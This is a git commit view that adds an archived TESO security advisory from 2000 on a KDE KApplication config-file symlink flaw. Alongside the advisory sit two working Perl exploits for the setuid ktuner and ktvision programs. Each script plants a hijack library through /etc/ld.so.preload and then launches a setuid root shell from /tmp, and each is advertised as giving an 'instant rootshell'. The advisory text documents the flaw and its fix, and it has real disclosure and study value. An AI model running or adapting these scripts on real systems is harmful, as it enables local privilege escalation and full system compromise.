summaryrefslogtreecommitdiff
path: root/advisories/teso-advisory-010
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /advisories/teso-advisory-010
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'advisories/teso-advisory-010')
-rwxr-xr-xadvisories/teso-advisory-010/7350ktuner86
-rwxr-xr-xadvisories/teso-advisory-010/7350ktvision85
-rw-r--r--advisories/teso-advisory-010/Makefile3
-rw-r--r--advisories/teso-advisory-010/a.out.cc14
l---------advisories/teso-advisory-010/kil3r1
-rw-r--r--advisories/teso-advisory-010/teso-advisory-010.txt175
6 files changed, 364 insertions, 0 deletions
diff --git a/advisories/teso-advisory-010/7350ktuner b/advisories/teso-advisory-010/7350ktuner
new file mode 100755
index 0000000..9bcb360
--- /dev/null
+++ b/advisories/teso-advisory-010/7350ktuner
@@ -0,0 +1,86 @@
1#!/usr/bin/perl
2
3#
4# 7350ktuner! The ktuner-hack.
5# (a.k.a. kil3r for some reason :)
6#
7# Just execute. Gives instant rootshell kiddie!
8# If only ktuner is setuid-root and vulnerable as with
9# SuSE 6.4!
10#
11# When has this stupid race an end?
12#
13# Bugdiscovery is due to Sebastian Krahmer.
14# http://www.cs.uni-potsdam.de/homepages/students/linuxer
15#
16#
17# Greets as always to TESO, security.is, lam3rz ... you all
18# know who you are.
19#
20#
21
22my $rcfile = $ENV{"HOME"}."/.kde/share/config/ktunerrc";
23
24$ENV{"PATH"}.=":/opt/kde/bin";
25
26print ">>Get a feeling on GUI's and how secure they are.<< Stealth.\n";
27
28print "Creating hijack-lib ...\n";
29open O, ">/tmp/boom.c" or die "open(boom.c..)";
30print O<<_EOF_;
31#include <sys/types.h>
32
33int time(void *v)
34{
35 chown("/tmp/boomsh", 0, 0);
36 chmod("/tmp/boomsh", 06755);
37 unlink("/etc/ld.so.preload");
38 exit(1);
39}
40_EOF_
41close O;
42
43print "Compiling hijack-lib ...\n";
44`cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`;
45`cc -shared /tmp/boom.o -o /tmp/boom.so`;
46
47open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)";
48print O<<_EOF2_;
49#include <stdio.h>
50int main()
51{
52 char *a[] = {"/bin/sh", 0};
53 setuid(0); setregid(0, 0);
54 execve(a[0], a, 0);
55 return 0;
56}
57_EOF2_
58close O;
59
60print "Compile shell ...\n";
61`cc /tmp/boomsh.c -o /tmp/boomsh`;
62
63umask 0;
64
65unlink $rcfile;
66symlink "/etc/ld.so.preload", $rcfile;
67
68print "Invoking vulnerable program (ktuner)...\n";
69
70if (fork() == 0) {
71 `ktuner`;
72 exit 0;
73} else {
74 sleep(3);
75 kill 9, `pidof ktuner`;
76}
77
78open O, ">/etc/ld.so.preload" or die "Huh? Can't open preload.";
79print O "/tmp/boom.so";
80close O;
81`/usr/bin/passwd`;
82
83# let it look like if we have sth. to do. :)
84sleep 3;
85print "Welcome. But as always: BEHAVE!\n";
86system("/tmp/boomsh");
diff --git a/advisories/teso-advisory-010/7350ktvision b/advisories/teso-advisory-010/7350ktvision
new file mode 100755
index 0000000..2f8dbbd
--- /dev/null
+++ b/advisories/teso-advisory-010/7350ktvision
@@ -0,0 +1,85 @@
1#!/usr/bin/perl
2
3#
4# 7350ktvision! The ktvision-hack.
5#
6# Just execute. Gives instant rootshell kiddie!
7# If only ktvision is setuid-root and vulnerable as with
8# SuSE 6.4!
9#
10#
11# Bugdiscovery is due to Sebastian Krahmer.
12# http://www.cs.uni-potsdam.de/homepages/students/linuxer
13#
14# Greets as always to TESO, security.is, lam3rz ... you all
15# know who you are.
16#
17# Special greets to that beautiful black-dressed woman at
18# the bus stop. This one is for you. :)
19#
20
21my $rcfile = $ENV{"HOME"}."/.kde/share/config/ktvisionrc";
22
23$ENV{"PATH"}.=":/opt/kde/bin";
24
25print ">>Get a feeling on GUI's and how secure they are.<< Stealth.\n";
26
27print "Creating hijack-lib ...\n";
28open O, ">/tmp/boom.c" or die "open(boom.c..)";
29print O<<_EOF_;
30#include <sys/types.h>
31
32int time(void *v)
33{
34 chown("/tmp/boomsh", 0, 0);
35 chmod("/tmp/boomsh", 06755);
36 unlink("/etc/ld.so.preload");
37 exit(1);
38}
39_EOF_
40close O;
41
42print "Compiling hijack-lib ...\n";
43`cc -c -fPIC /tmp/boom.c -o /tmp/boom.o`;
44`cc -shared /tmp/boom.o -o /tmp/boom.so`;
45
46open O, ">/tmp/boomsh.c" or die "open(boomsh.c ...)";
47print O<<_EOF2_;
48#include <stdio.h>
49int main()
50{
51 char *a[] = {"/bin/sh", 0};
52 setuid(0); setregid(0, 0);
53 execve(a[0], a, 0);
54 return 0;
55}
56_EOF2_
57close O;
58
59print "Compile shell ...\n";
60`cc /tmp/boomsh.c -o /tmp/boomsh`;
61
62umask 0;
63
64unlink $rcfile;
65symlink "/etc/ld.so.preload", $rcfile;
66
67print "Invoking vulnerable program (ktvision)...\n";
68
69if (fork() == 0) {
70 `ktvision`;
71 exit 0;
72} else {
73 sleep(3);
74 kill 9, `pidof ktvision`;
75}
76
77open O, ">/etc/ld.so.preload" or die "Huh? Can't open preload.";
78print O "/tmp/boom.so";
79close O;
80`/usr/bin/passwd`;
81
82# let it look like if we have sth. to do. :)
83sleep 3;
84print "Welcome. But as always: BEHAVE!\n";
85system("/tmp/boomsh");
diff --git a/advisories/teso-advisory-010/Makefile b/advisories/teso-advisory-010/Makefile
new file mode 100644
index 0000000..bf3229f
--- /dev/null
+++ b/advisories/teso-advisory-010/Makefile
@@ -0,0 +1,3 @@
1all:
2 c++ a.out.cc -I/opt/kde/include -I/usr/lib/qt/include /opt/kde/lib/libkdecore.so -lqt
3 \ No newline at end of file
diff --git a/advisories/teso-advisory-010/a.out.cc b/advisories/teso-advisory-010/a.out.cc
new file mode 100644
index 0000000..a4a9b53
--- /dev/null
+++ b/advisories/teso-advisory-010/a.out.cc
@@ -0,0 +1,14 @@
1#include <string.h>
2#include <stdlib.h>
3#include <stdio.h>
4#include <kapp.h>
5
6
7int main(int argc, char **argv)
8{
9 KApplication *base = new KApplication(argc, argv);
10
11 base->exec();
12 return 0;
13}
14
diff --git a/advisories/teso-advisory-010/kil3r b/advisories/teso-advisory-010/kil3r
new file mode 120000
index 0000000..ce4e021
--- /dev/null
+++ b/advisories/teso-advisory-010/kil3r
@@ -0,0 +1 @@
7350ktuner \ No newline at end of file
diff --git a/advisories/teso-advisory-010/teso-advisory-010.txt b/advisories/teso-advisory-010/teso-advisory-010.txt
new file mode 100644
index 0000000..46e3522
--- /dev/null
+++ b/advisories/teso-advisory-010/teso-advisory-010.txt
@@ -0,0 +1,175 @@
1-----BEGIN PGP SIGNED MESSAGE-----
2Hash: SHA1
3
4
5- ------
6
7TESO Security Advisory
82000/05/29
9
10KDE KApplication {} configfile vulnerability
11
12
13Summary
14===================
15
16 A bug within the KDE configuration-file management has been
17 discovered.
18 Due to insecure creation of configuration files via KApplication-class,
19 local lusers can create arbitrary files when running setuid root
20 KDE-programs.
21 This can result in a complete compromise of the system.
22
23
24Systems Affected
25===================
26
27 The vulnerability is at least present within KDE 1.1.2.
28 All tests were performed on a SuSE 6.4 standard installation.
29
30
31Tests
32===================
33
34 bash-2.03$ nl /tmp/a.out.cc
35 1 #include <string.h>
36 2 #include <stdlib.h>
37 3 #include <stdio.h>
38 4 #include <kapp.h>
39
40
41 5 int main(int argc, char **argv)
42 6 {
43 7 KApplication *base = new KApplication(argc, argv);
44
45 8 base->exec();
46 9 return 0;
47 10 }
48 11
49 bash-2.03$ ls -la /etc/foo
50 ls: /etc/foo: No such file or directory
51
52 bash-2.04$ ln -s /etc/foo ~/.kde/share/config/a.outrc
53 bash-2.03$ ls -la /tmp/a.out
54 -rwsr-sr-x 1 root root 19450 May 28 14:14 /tmp/a.out
55 bash-2.03$ /tmp/a.out
56 ^C
57
58 bash-2.03$ ls -la /etc/foo
59 -rw-rw-rw- 1 stealth 500 0 May 28 14:26 /etc/foo
60 bash-2.03$
61
62 (Output formatted to improve readability).
63
64
65Impact
66===================
67
68 An attacker may gain local root-access to a system where vulnerable KDE
69 distributions are installed.
70 Due to the GUI-nature of KDE, it might become difficult for an attacker
71 to gain a root-shell on a remote system. However, the individual could
72 modify the DISPLAY environment variable to redirect the output to one
73 of his own machines.
74 A vulnerable system must have at least one setuser-id program
75 installed which utilizes the KApplication class.
76 Such programs include ktvision and ktuner, for an example.
77
78
79Explanation
80===================
81
82 Obviously, KDE doesn't check for possible symlinks when creating
83 configuration-files. This may result in arbitrary file-creation or
84 chmod's of any file.
85 We assume the bug is within the KApplication::init() function:
86
87 ...
88
89 // now for the local app config file
90 QString aConfigName = KApplication::localkdedir();
91 aConfigName += "/share/config/";
92 aConfigName += aAppName;
93 aConfigName += "rc";
94
95 QFile aConfigFile( aConfigName );
96 ...
97
98
99 This instanciation probably creates the file. However we haven't checked
100 QFile {} further.
101
102
103Solution
104===================
105
106 Neither run KDE applications setuid nor setgid.
107 The KDE developers have been informed. A patch should be made available
108 soon. Upgrade as promptly as possible.
109
110
111Acknowledgments
112================
113
114 The bug-discovery and the demonstration programs are due to
115 Sebastian "Stealth" Krahmer [1].
116 Further checking on different distributions have been made
117 by Scut.
118
119 This advisory was written by Sebastian and Scut.
120
121
122Contact Information
123===================
124
125 The TESO crew can be reached by mailing to teso@coredump.cx.
126 Our web page is at http://teso.scene.at/
127
128 Stealth may be reached through [1].
129
130
131References
132===================
133
134 [1] http://www.cs.uni-potsdam.de/homepages/students/linuxer/
135
136 [2] TESO
137 http://teso.scene.at or https://teso.scene.at/
138
139
140Disclaimer
141===================
142
143 This advisory does not claim to be complete or to be usable for any
144 purpose. Especially information about the vulnerable systems may be
145 inaccurate or wrong. The supplied exploit is not to be used for malicious
146 purposes, but for educational purposes only.
147
148 This advisory is free for open distribution in unmodified form.
149 Articles that are based on information from this advisory should include
150 links [1] and [2].
151
152
153Exploit
154===================
155
156 We've created a working demonstration program to exploit the vulnerability.
157
158 The exploit is available from
159
160 http://teso.scene.at/ or https://teso.scene.at/
161
162 and
163
164 http://www.cs.uni-potsdam.de/homepages/students/linuxer/
165
166
167- ------
168-----BEGIN PGP SIGNATURE-----
169Version: GnuPG v1.0.0 (GNU/Linux)
170Comment: For info see http://www.gnupg.org
171
172iD8DBQE5MWgLcZZ+BjKdwjcRAqJfAJwM5ksv/2dm7liESPMlYkQevZcfiACfb45I
1730Xp/9kMRr1FTMV6r0qh+lao=
174=6q3d
175-----END PGP SIGNATURE-----